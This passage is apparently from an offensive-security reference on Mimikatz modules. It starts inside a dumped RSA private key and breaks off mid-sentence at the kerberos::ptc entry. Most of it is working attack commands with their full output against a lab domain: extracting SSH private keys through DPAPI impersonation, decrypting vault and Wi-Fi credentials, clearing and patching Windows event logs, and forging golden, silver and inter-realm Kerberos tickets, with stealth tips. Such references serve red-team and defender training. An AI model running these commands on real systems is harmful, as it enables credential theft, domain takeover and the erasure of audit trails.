x88Fpx1/dhGIpYu1W72KX+J/jz0FRj9sN1y9//h1rXRNx4I3ReijrQVmmJFbxcHC R1fEk/hg/n7N7u9x+BqUMH2MZRXNPrCO9v2SLZhkKdPQxDhgm6zq/pch2UYJA6BP fq65mA/QRwh8sWhHCdqXY2j7JXRJtLwbhWrbpYlEuUMN9/vs+lY0v7O5G3mzg31n V3k5mpN8qGJK6KrxQ+X++kCeCk0owMSdegsCgcEAyYvDoxT3M+MpheceE3KPXUiv I11yf/keGWa0HFXA6xtRkSOqxh5asiPFUhStZ0qhP7eaBfvsCzkfKwlN+QkOB6uX 7O+L0lPPRurejNdile/hACPOPdRfI0S2HQAQXLilQVC56aOKeLCSkeKjgvzwAd7D qEqgrjuMI/PpY2JBk0DwSQE5ncPZANGdlE8E2zPiOGizxLh8k9oHcQAl38F9Xxu2 ZtjUqrNYRu6k+ima23jyfOAAB5uGjS+GWwShyEoTAoHAVVFE+8CmKQVduz8BCmaY QZE4wn9guGm88lgeNdxb0vaxCSJoy6BG+1uFEv3DrWqzeG74l0eZq8/dPP6jbWOr y+7M/dAuRAJvSi2ySGRlmdJ+PxVPN8di4/JIBjSE7AXfzr2bc3tmEO496THFrP5G mZ7qGkiKDJTLUoYFR4WgfcRsiAwFbNRX6zO+jg96Y8nkf0T1xF7vbSW9DqlDN5Gm 1JdZEVQEOrG0Lt0m8nxoPXNPceH/cv1CXptmE3zumc49AoHAcnmYHUEDR813AD9N re4bz/hAwe2J43YzymmzU4TBlshlg/KmRPFowlXe9cgY1dplzDMUoOF+KMHBGkim qRSji2fDWyiUWlqQGM++qHCN5mvheJrdwfCmOPoGFmK66G9YLckUT8g8FmD0XzhD d1sDV4yXxTbeHRhleOZJYdGlPWZdFJpFh359+yEUR/C56WeGzlNqCAphd/kW0PAs kvLrquGqsK/n2y0SrvdNbWnEM3R3BsaUPb3wprCft4LiAUlRAoHASjnUh7xKbNDF 2rKVIELu0rDj04tDUinFsBongWR6PN3ceBJmdmk/Kn/ilfBlMkFCkFL+peLz/6CY 62qgc10AkZldH4SyDZTj8hm9VtFbNnim+LReH3ymBgkofcbKMQpQpgsTnyqqdjzk /w2Fuj+kX88BC6xhjUyf+3NG1d5YLD74+KNqHM++0gwu1To7j65h5VK+7CzyjndG OCYDKTxEVS2uKSUTBBlpg2wxeFs4WrOzL2bdGs/3eHAlGC7paWch -----END RSA PRIVATE KEY----- S-1-5-18 ``` When attempting to extract SSH keys of other users, the following will be encountered: ``` mimikatz # token::elevate Token Id : 0 User name : SID name : NT AUTHORITY\SYSTEM 708 {0;000003e7} 1 D 42449 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary -> Impersonated ! * Process Token : {0;007fb506} 2 F 15102252 hacklab\m3g9tr0n S-1-5-21-2725560159-1428537199-2260736313-1730 (12g,24p) Primary * Thread Token : {0;000003e7} 1 D 16619685 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation) mimikatz # dpapi::ssh /unprotect .DEFAULT S-1-5-19 S-1-5-20 S-1-5-21-2725560159-1428537199-2260736313-1730 S-1-5-21-2725560159-1428537199-2260736313-500 [SHA256:OmRs8aVrYuq7716nNnycEBwE2+2OMy/1o3APZbUvAUk] comment: hacklab\administrator@Win10 type : 0 * using CryptUnprotectData API ERROR kuhl_m_dpapi_unprotect_raw_or_blob ; NTE_BAD_KEY_STATE, needed Masterkey is: {63af0bf3-36e4-4246-9526-05bb3938ed46} S-1-5-18 ``` This is where the `/impersonate` argument comes in handy: ``` mimikatz # dpapi::ssh /unprotect /impersonate .DEFAULT S-1-5-19 S-1-5-20 S-1-5-21-2725560159-1428537199-2260736313-500 * Trying to get an impersonation token for S-1-5-21-2725560159-1428537199-2260736313-500: {0;00f046ac} 2 D 17435183 hacklab\Administrator S-1-5-21-2725560159-1428537199-2260736313-500 (25g,24pImpersonation (Delegation) [SHA256:OmRs8aVrYuq7716nNnycEBwE2+2OMy/1o3APZbUvAUk] comment: hacklab\administrator@Win10 type : 0 * using CryptUnprotectData API -----BEGIN RSA PRIVATE KEY----- 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 -----END RSA PRIVATE KEY----- S-1-5-18 ``` The following is an offline extract example: ``` mimikatz # dpapi::ssh /hive:C:\Users\Administrator\NTUSER.DAT [SHA256:OmRs8aVrYuq7716nNnycEBwE2+2OMy/1o3APZbUvAUk] comment: hacklab\administrator@Win10 type : 0 ``` # tpm `dpapi::tpm` decrypts TPM PCP key file ([Microsoft's TPM Platform Crypto Provider](https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/setting-up-tpm-protected-certificates-using-a-microsoft/ba-p/1129055) (PCP)). To check if the device has a Trusted Module TPM Chip: ``` PS C:\WINDOWS\system32> get-tpm TpmPresent : True TpmReady : True ManufacturerId : 1229870147 ManufacturerIdTxt : INTC ManufacturerVersion : 11.6 ManufacturerVersionFull20 : 11.6.0.1136 ManagedAuthLevel : Full OwnerAuth : 5lretp/xjie7kWk1wxmX2DZKSrw= OwnerClearDisabled : True AutoProvisioning : Enabled LockedOut : False LockoutHealTime : 2 hours LockoutCount : 0 LockoutMax : 32 SelfTest : {} ``` It has the following command line arguments: * `/in`: the TPM PCP key file * `/password`: the password to decrypt the tpm key * `/masterkey`: the masterkey to use for decryption. It can be obtained through [`sekurlsa::dpapi`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/dpapi). * `/unprotect`: display the decryption results on screen Benjamin has also published a standalone tool called [kirandomtpm](https://github.com/gentilkiwi/kirandomtpm) (C) which is a BCrypt provider to get random bytes from a TPM. ``` mimikatz# dpapi::tpm /unprotect /in: ``` # vault `dpapi::vault` decrypts DPAPI vault credentials from the [Credential Store](https://support.microsoft.com/en-us/windows/accessing-credential-manager-1b5c916a-6a16-889f-8581-fc16e8165ac0). It has the following command line arguments: * `/cred`: the ***.vcrd*** files can be found at `C:\Users\\AppData\Local\Microsoft\Vault`, `C:\Users\\AppData\Roaming\Microsoft\Vault,` `C:\ProgramData\Microsoft\Vault` and `C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Vault` * `/policy`: The ***policy.vpol*** file can be found at `C:\ProgramData\Microsoft\Vault\` * `/password`: the password to decrypt the vault credentials * `/masterkey`: the masterkey to use for decryption. It can be obtained through [`sekurlsa::dpapi`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/dpapi). * `/unprotect`: display the decryption results on screen ``` mimikatz # dpapi::vault /cred:"C:\Users\m3g9tr0n\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\21CD6FA9B5E4C7D1D04AE0182DD7F440F54E02ED.vcrd" /policy:"C:\Users\m3g9tr0n\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol" /masterkey:3f7a17dd6658319fcd4b832afc20ac7dacbb9d7cd668527c71f98e90464624634c614a7923a3beb23c4e24dd718f2a8e838ce72935fb29f11507affb543a53c3 **VAULT CREDENTIAL** SchemaId : {3ccd5499-87a8-4b10-a215-608888dd3b55} unk0 : 00000004 - 4 LastWritten : 13/12/2021 21:33:59 unk1 : ffffffff - 4294967295 unk2 : 00000000 - 0 FriendlyName : Internet Explorer dwAttributesMapSize : 00000030 - 48 * Attribute 1 @ offset 00000080 - 128 (unk 00000020 - 32) * Attribute 2 @ offset 000000b5 - 181 (unk 00000020 - 32) * Attribute 3 @ offset 000000ea - 234 (unk 00000020 - 32) * Attribute 100 @ offset 00000100 - 256 (unk 00000020 - 32) **VAULT CREDENTIAL ATTRIBUTE** id : 00000001 - 1 unk0/1/2: 00000002/00000007/0000000a Data : 168989db87d1e9011a33035f2aa7d104ba57ed82ca427d10b07ca202c8f1d272 **VAULT CREDENTIAL ATTRIBUTE** id : 00000002 - 2 unk0/1/2: 00000002/00000007/0000000a Data : ee08e5dc3f49367fc97b4facc65a748b27f3d814fe4ce177c1eee8c221928839 **VAULT CREDENTIAL ATTRIBUTE** id : 00000003 - 3 unk0/1/2: 00000000/00000007/0000000a **VAULT CREDENTIAL ATTRIBUTE** id : 00000064 - 100 unk0/1/2: 00000000/00000008/0000000a IV : edd18a92b5db9a1984bd6600240b642a Data : 9c8f1a59cd4c3a7288c7612e51ba9822bda64128729eb0bd501e182a3eca1890a7212a41836961320fb07651c7206185a8c39f64f1ac60d244e38a3be85b766ed6d7db5973a2b527c3eb4f0900fbef5f03cc14a9b333148316fbc06098c47ced7af023b4c74c2409c446e95156e16633538c5df6899cb14266445efcbe0b8a5b592806a31cdbdf061ca6086e6086af44c2631bdc393d30174a81cd86816b9472c68fe274592c024f0526ff5cf5aa43a960b1a5bf10468876bcda3412507ea393a21cbb617bc93ad8f08f21ad83aa8055 **VAULT POLICY** version : 00000001 - 1 vault : {4bf4c442-9b8a-41a0-b380-dd4a704ddb28} Name : Web Credentials unk0/1/2: 00000001/00000000/00000001 **VAULT POLICY KEY** unk0 : {dd73da0b-fd83-4712-af8b-d153c710c6b9} unk1 : {dd73da0b-fd83-4712-af8b-d153c710c6b9} **BLOB** dwVersion : 00000001 - 1 guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb} dwMasterKeyVersion : 00000001 - 1 guidMasterKey : {5c22983f-77ee-41e4-9086-8073d664e417} dwFlags : 20000000 - 536870912 (system ; ) dwDescriptionLen : 00000000 - 0 szDescription : (null) algCrypt : 00006603 - 26115 (CALG_3DES) dwAlgCryptLen : 000000c0 - 192 dwSaltLen : 00000010 - 16 pbSalt : 07da103f232873a46fcaba89df0a9b53 dwHmacKeyLen : 00000000 - 0 pbHmackKey : algHash : 00008004 - 32772 (CALG_SHA1) dwAlgHashLen : 000000a0 - 160 dwHmac2KeyLen : 00000010 - 16 pbHmack2Key : c66b772816ab01918d13cafea8163d12 dwDataLen : 00000068 - 104 pbData : e3ce970b77864701ac345f5f3afef1419f36e628ce32e5053e13fc81727acfc62d7d70126ea5b3e3686bf527bb7ec6f609dc787d10b1329e524994a59d81a2e79115c55127c63d28ba75fa000425d650d21b01465c6affbe5f9b4d01aaa143b3e993042a6b63c1e7 dwSignLen : 00000014 - 20 pbSign : c39e8a8fb985ac20bc0a607485f49d7fbe45b678 Decrypting Policy Keys: * volatile cache: GUID:{5c22983f-77ee-41e4-9086-8073d664e417};KeyHash:850247e2dd89c50536c05bdcee1a56c395e752cf;Key:available * masterkey : 3f7a17dd6658319fcd4b832afc20ac7dacbb9d7cd668527c71f98e90464624634c614a7923a3beb23c4e24dd718f2a8e838ce72935fb29f11507affb543a53c3 AES128 key: 0fdfe3d0bf2550e7fd25f37898b3dd77 AES256 key: 888bb82eca576c5d154f024d2980b9a1eacb904ad86b1265ac25b816f57fb3d7 > Attribute 1 : 7b506f2d6b81d939a8e0456f036ee8970856ff70 > Attribute 2 : 0a0c5eef791157ee37f51258c5747ee205a4f18c > Attribute 3 : > Attribute 100 : **VAULT CREDENTIAL CLEAR ATTRIBUTES** version: 00000001 - 1 count : 00000004 - 4 unk : 00000001 - 1 * identity : myemail@hotmail.com * ressource : https://login.live.com/ * authenticator : MySuperDuperPass * property 100 : c5 a6 4d 4e 34 22 d9 4a a5 9d c8 66 c8 3e cb a6 ``` # wifi `dpapi::wifi` decrypts saved Wi-Fi passwords. It has the following command line argument: * `/in`: The Wlan XML profile. The XML file's location is at `C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\{interface guid}*.xml` * `/password`: the password to decrypt the Wi-Fi key * `/masterkey`: the masterkey to use for decryption. It can be obtained through [`sekurlsa::dpapi`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/dpapi). * `/unprotect`: display the decryption results on screen ``` mimikatz # dpapi::wifi /in:"C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\{F4257B8E-3599-4A6F-AEA2-B3B7646ECA80}\{25F4C906-099A-4871-826D-8A604C132954}.xml" /unprotect Profile 'Timokleia' * SSID name : Timokleia * Authentication: WPAPSK * Encryption : AES **BLOB** dwVersion : 00000001 - 1 guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb} dwMasterKeyVersion : 00000001 - 1 guidMasterKey : {f4bff6c3-18ee-435f-b27d-a68e5275389e} dwFlags : 00000000 - 0 () dwDescriptionLen : 00000002 - 2 szDescription : algCrypt : 00006610 - 26128 (CALG_AES_256) dwAlgCryptLen : 00000100 - 256 dwSaltLen : 00000020 - 32 pbSalt : 4143ac5b363376ee3ad89cf5063ab321fa85df9019fc1cc1c0c440af61df1ea5 dwHmacKeyLen : 00000000 - 0 pbHmackKey : algHash : 0000800e - 32782 (CALG_SHA_512) dwAlgHashLen : 00000200 - 512 dwHmac2KeyLen : 00000020 - 32 pbHmack2Key : 69ff3dea262e96881bb300a790574c9703c2d21f1e950cd9d7cd8293a44c4923 dwDataLen : 00000010 - 16 pbData : e7596546caf68b275814b14bcfce78d0 dwSignLen : 00000040 - 64 pbSign : c5203a5844b9a00187b76769fadb20e923b502d593c78462c1fb8c5347247e2249772f989160f02a321b4f3c40d1d41dec18af0c417e5279d89728f359a1fde4 * using CryptUnprotectData API * Key Material : SecureWPAPass ``` # wwan `dpapi::wwman` decrypts Wwan credentials. It has the following command line argument: * `/in`: The Wwan XML profile. The XML file location is `C:\ProgramData\Microsoft\Wlansvc\Profiles{interface guid}\*.xml` * `/password`: the password to decrypt the wwan credentials * `/masterkey`: the masterkey to use for decryption. It can be obtained through [`sekurlsa::dpapi`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/dpapi). * `/unprotect`: display the decryption results on screen ``` mimikatz# dpapi::wwan /in:"C:\ProgramData\Microsoft\Wlansvc\Profiles{interface guid}\*.xml" /unprotect ``` # event The Windows events module of Mimikatz # clear `event::clear` clears a specified event log. It has the following command line argument: * `/log`: The event log to clear. The default one is **Security** ``` mimikatz # privilege::debug Privilege '20' OK ``` ``` mimikatz # event::clear Using "Security" event log : - 3996 event(s) - Cleared ! - 0 event(s) ``` ``` mimikatz # event::clear /log:System Using "System" event log : - 818 event(s) - Cleared ! - 0 event(s) ``` # drop `event::drop` can be used to patch event services to avoid new events ( :warning: experimental) ``` mimikatz # privilege::debug Privilege '20' OK ``` ``` mimikatz # event::drop "EventLog" service patched ``` # kerberos # ask `kerberos::ask` can be used to obtain Service Tickets. The Windows native command is [`klist get`](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/klist). It has the following command line arguments: * `/tkt`: save the ST (Service Ticket) to a `.tkt` file * `/export` : export the TGS to a `.kirbi` file * `/rc4` : use an RC4 key * `/des` : use a DES key * `/aes256` : use an AES256 key (it is the default key) * `/aes128` : use an AES128 key * `/target` : The target SPN/FQDN * `/nocache`: tells Mimikatz not to cache the ticket in the current session ``` mimikatz # kerberos::ask 0-40e10000-m3g9tr0n@krbtgt~HACKLAB.LOCAL-HACKLAB.LOCAL.kirbi /target:CIFS/dc.hacklab.local Asking for: CIFS/dc.hacklab.local * Ticket Encryption Type & kvno not representative at screen Start/End/MaxRenew: 18/11/2021 01:47:30 ; 18/11/2021 11:47:30 ; 25/11/2021 01:47:30 Service Name (02) : CIFS ; dc.hacklab.local ; @ HACKLAB.LOCAL Target Name (02) : CIFS ; dc.hacklab.local ; @ HACKLAB.LOCAL Client Name (01) : m3g9tr0n ; @ HACKLAB.LOCAL Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ; Session Key : 0x00000012 - aes256_hmac 9905bb3a8b7b45f9c841983c7a7e3e0c0cc197e879fd6933a70f29227c6c8e21 Ticket : 0x00000012 - aes256_hmac ; kvno = 0 [...] ``` Check if the ST was injected in the current session: ``` mimikatz # kerberos::list [00000000] - 0x00000012 - aes256_hmac Start/End/MaxRenew: 18/11/2021 01:47:30 ; 18/11/2021 11:47:30 ; 25/11/2021 01:47:30 Server Name : krbtgt/HACKLAB.LOCAL @ HACKLAB.LOCAL Client Name : m3g9tr0n @ HACKLAB.LOCAL Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ; [00000001] - 0x00000012 - aes256_hmac Start/End/MaxRenew: 18/11/2021 01:47:30 ; 18/11/2021 11:47:30 ; 25/11/2021 01:47:30 Server Name : CIFS/dc.hacklab.local @ HACKLAB.LOCAL Client Name : m3g9tr0n @ HACKLAB.LOCAL Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ; ``` Request a ST for `HTTP/dc.hacklab.local` with an RC4 key: ``` mimikatz # kerberos::ask /rc4 0-40e10000-m3g9tr0n@krbtgt~HACKLAB.LOCAL-HACKLAB.LOCAL.kirbi /target:HTTP/dc.hacklab.local Asking for: HTTP/dc.hacklab.local * Ticket Encryption Type & kvno not representative at screen Start/End/MaxRenew: 18/11/2021 02:08:15 ; 18/11/2021 11:47:30 ; 25/11/2021 01:47:30 Service Name (02) : HTTP ; dc.hacklab.local ; @ HACKLAB.LOCAL Target Name (02) : HTTP ; dc.hacklab.local ; @ HACKLAB.LOCAL Client Name (01) : m3g9tr0n ; @ HACKLAB.LOCAL Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ; Session Key : 0x00000017 - rc4_hmac_nt 31186422cb60b903003c8aa0bc1cb384 Ticket : 0x00000017 - rc4_hmac_nt ; kvno = 0 [...] ``` # clist `kerberos::clist` lists tickets in [MIT](https://web.mit.edu/kerberos/)/[Heimdall](https://github.com/heimdal/heimdal) ccache format. It can be useful with other tools (i.e. ones that support [Pass the Cache](https://www.thehacker.recipes/ad/movement/kerberos/ptc)). It has the following command line argument: * `/export`: export the tickets ``` mimikatz # kerberos::clist ``` {% hint style="warning" %} At the time of writing, 22nd November 2021, we weren't able to run this command. {% endhint %} # golden `kerberos::golden` can be used to [forge golden and silver tickets](https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets). It can also be used for forging inter-realm trust keys. It has the following command line arguments: * `/domain`: the active directory domain (the user's domain to impersonate) * `/sid`: the SID of the active directory domain the user's hash is hold * `/sids`: the extra SID of the domain to target during the SIDHistory spoofing * `/user`: username to impersonate, keep in mind that Administrator is not the only name for this well-known account * `/ticket`: save the ticket to a `.kirbi` file * `/groups`: id of groups the user belongs (first is primary group, comma separator) - default is: `513,512,520,518,519` for the well-known Administrators groups * `/id`: The user RID. The default value is 500 (local administrator) * `/target` - the server/computer name where the service is hosted (ex: `share.server.local`, `sql.server.local:1433`) * `/service` - The service name for the silver ticket (ex: `cifs`, `rpcss`, `http`, `mssql`) * `/ptt`: inject the generated golden ticket into memory * `/startoffset`: The start offset when the ticket is available. Default is 0 * `/endin`: The ticket's minutes lifetime. The default value is 10 years. The default active directory kerberos policy is 10 hours * `/renewmax`: The maximum ticket's minutes lifetime renewal. The default value is 10 years. The default active directory kerberos policy is 7 days * `/krbtgt`: specify the krbtgt RC4 key * `/des`: the DES key to be used * `/rc4`: the RC4 key to be used * `/aes128`: The AES128 key to be used. More opsec safe * `/aes256`: the AES256 key to be used. More opsec safe * `/claims`: [add additional values to a user’s kerberos ticket and then make access decisions based on those values at the client level](https://syfuhs.net/2017/07/29/active-directory-claims-and-kerberos-net/) * `/rodc`: for generating a golden ticket with the krbtgt hash of a Read Only Domain Controller ### Golden Ticket The following are the requirements for generating a [golden ticket](https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets#golden-ticket). * A KRBTGT key. It can be of type RC4 (i.e. NT hash), DES or AES (depending on what etypes the domain supports and what level of stealth the attacker wants). * Domain name * Domain SID * The username to impersonate * The RID of the user account to impersonate. The RID is the rightmost number in a full SID (e.g. 500 for the built-in administrator account) * The group RIDs the account should be a member of. The RID is the rightmost number in a full SID (e.g. 512 for "Domain Admins", 519 for "Entreprise Admins"). ``` mimikatz # kerberos::golden /domain:hacklab.local /sid:S-1-5-21-2725560159-1428537199-2260736313 /rc4:b5348d0a20a24a67ff544146a09cd292 /user:krbtgt /ticket:ticket.kirbi /groups:500,501,513,512,520,518,519 User : krbtgt Domain : hacklab.local (HACKLAB) SID : S-1-5-21-2725560159-1428537199-2260736313 User Id : 500 Groups Id : *500 501 513 512 520 518 519 ServiceKey: b5348d0a20a24a67ff544146a09cd292 - rc4_hmac_nt Lifetime : 19/11/2021 02:55:47 ; 17/11/2031 02:55:47 ; 17/11/2031 02:55:47 -> Ticket : ticket.kirbi * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Final Ticket Saved to file ! ``` ### Sliver Ticket The following are the requirements for generating a [silver ticket](https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets#silver-ticket). ``` mimikatz # kerberos::golden /domain:hacklab.local /sid:S-1-5-21-2725560159-1428537199-2260736313 /rc4:647dac3559c899c5fe4dad7723feb8c5 /user:m3g9tr0n /service:CIFS/dc.hacklab.local /target:dc.hacklab.local User : m3g9tr0n Domain : hacklab.local (HACKLAB) SID : S-1-5-21-2725560159-1428537199-2260736313 User Id : 500 Groups Id : *513 512 520 518 519 ServiceKey: 647dac3559c899c5fe4dad7723feb8c5 - rc4_hmac_nt Service : CIFS/dc.hacklab.local Target : dc.hacklab.local Lifetime : 19/11/2021 02:59:22 ; 17/11/2031 02:59:22 ; 17/11/2031 02:59:22 -> Ticket : ticket.kirbi * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Final Ticket Saved to file ! ``` ### Golden ticket & SIDHistory spoofing When Forest Trust Relationship is bi-directional, it is possible to escalate from a child domain to a parent root domain by doing SIDHistory spoofing. ``` mimikatz #kerberos::golden /domain: /sid: /rc4: /user: /ticket:ticket.kirbi /sids: kerberos::golden /user:Administrator /domain:child.hacklab.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:krbtgt_tkt.kirbi User : Administrator Domain : child.hacklab.local (CHILD) SID : S-1-5-21-1874506631-3219952063-538504511 User Id : 500 Groups Id : *513 512 520 518 519 Extra SIDs: S-1-5-21-280534878-1496970234-700767426-519 ; ServiceKey: ff46a9d8bd66c6efd77603da26796f35 - rc4_hmac_nt Lifetime : 19/11/2021 1:02:13 AM ; 5/6/2030 1:02:13 AM ; 5/6/2030 1:02:13 AM -> Ticket : C:\krbtgt_tkt.kirbi * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Final Ticket Saved to file ! ``` ### Inter-Realm Trust Tickets To acquire the forest trust keys the command [`lsadump::trust /patch`](https://tools.thehacker.recipes/mimikatz/modules/lsadump/trust) has to be used. Depending on the forest trust relationship, using the trust key instead of the krbtgt account can be stealthier since most defense mechanisms are monitoring the krbtgt account. ``` mimikatz # kerberos::golden /user: /domain: /sid: /sids: /rc4: /service:krbtgt /target: /ticket: kerberos::golden /user:Administrator /domain:hacklab.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-3146393536-1393405867-2905981701-519 /rc4:172ad9986a524aadaf4d01c1ce7f240f /service:krbtgt /target:bank.local /ticket:trust_tkt.kirbi User : Administrator Domain : hacklab.local (HACKLAB) SID : S-1-5-21-1874506631-3219952063-538504511 User Id : 500 Groups Id : *513 512 520 518 519 Extra SIDs: S-1-5-21-3146393536-1393405867-2905981701-519 ; ServiceKey: 172ad9986a524aadaf4d01c1ce7f240f - rc4_hmac_nt Service : krbtgt Target : bank.local Lifetime : 19/11/2021 3:01:44 AM ; 5/6/2030 3:01:44 AM ; 5/6/2030 3:01:44 AM -> Ticket : C:\trust_tkt-us.kirbi * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Final Ticket Saved to file ! ``` # hash `kerberos::hash` computes the different types of Kerberos keys for a given password. It has the following command line arguments: * `/user`: the `sAMAccountName` of the user * `/password`: the plaintext password * `/domain`: the active directory domain * `/count`: number of iterations ``` mimikatz # kerberos::hash /user:m3g9tr0n /domain:hacklab.local /password:Super_SecretPass1! * rc4_hmac_nt b09a14d2d325026f8986d4a874fbcbc7 * aes128_hmac f99e642fe29c8aa84e047876d29fc4f7 * aes256_hmac f5b77681af657ccec49e707c2e2f8fc1dc958088f8dc99f09ce3818183cf2392 * des_cbc_md5 d3f89befcb43ce52 ``` # list `kerberos::list` has a similar functionality to [`klist`](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/klist) command without requiring elevated privileges. Unlike [`sekurlsa::tickets`](/mimikatz/modules/sekurlsa/tickets), this module does not interact with LSASS. It has the following command line argument: * `/export`: export the tickets ``` mimikatz # kerberos::list [00000000] - 0x00000012 - aes256_hmac Start/End/MaxRenew: 15/11/2021 18:27:08 ; 16/11/2021 04:27:08 ; 17/11/2021 11:41:46 Server Name : krbtgt/HACKLAB.LOCAL @ HACKLAB.LOCAL Client Name : m3g9tr0n @ HACKLAB.LOCAL Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ; [00000001] - 0x00000012 - aes256_hmac Start/End/MaxRenew: 15/11/2021 18:47:48 ; 16/11/2021 04:27:08 ; 17/11/2021 11:41:46 Server Name : LDAP/DC.hacklab.local/hacklab.local @ HACKLAB.LOCAL Client Name : m3g9tr0n @ HACKLAB.LOCAL Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ; ``` # ptc `kerberos::ptc` can be used to [pass the 